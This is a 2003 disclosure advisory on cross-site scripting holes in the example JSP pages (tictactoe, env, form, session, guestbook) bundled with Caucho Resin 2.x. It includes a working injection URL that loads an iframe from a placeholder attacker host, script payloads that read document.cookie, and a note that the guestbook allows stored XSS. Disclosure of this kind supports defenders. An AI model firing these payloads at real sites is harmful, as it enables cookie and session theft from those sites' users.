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          - EXPL-A-2003-026 exploitlabs.com Advisory 026 -
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                      -= Caucho Resin =-


Donnie Werner
Oct 18, 2003



Vunerability(s):
----------------
1. XSS


note: this is not

http://www.securiteam.com/securitynews/5KP0O1F7FM.html
http://www.securitytracker.com/alerts/2002/Jun/1004552.html


Product:
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Caucho Resin Httpd 2.x

Reviews:
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http://www.caucho.com/sales/customers.xtp


Description of product:
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"Resin® is a cutting-edge XML Application Server. 
It serves the fastest servlets and JSP."


VUNERABILITY / EXPLOIT
======================
default port 8080 ( others used )

affected scripts:
env.jsp
form.jsp
session.jsp
tictactoe.jsp

http://[host]:8080/examples/tictactoe/tictactoe.jsp?move=<iframe%20src="http://attcker/evil.cgi"></iframe>4
or 
<SCRIPT>alert(document.domain);</SCRIPT><SCRIPT>alert(document.cookie);</SCRIPT>

the above is only an example, all cookie and session 
 stealing Cross Site Scripting was possible.


guestbook.jsp allows persistant XSS

enter evil javascript in "name" and "comment" fields
it is then re-rendered upon revisit




Local:
------
nay

Remote:
-------
yeh


Vendor Fix:
-----------
Versions 3.x dont have the examples included



Vendor Contact:
---------------
bugs@caucho.com
Concurrent with this advisory


Credits:
--------
Donnie Werner
CTO E2 Labs
http://e2-labs.cpm
morning_wood@e2-labs.com

http://nothackers.org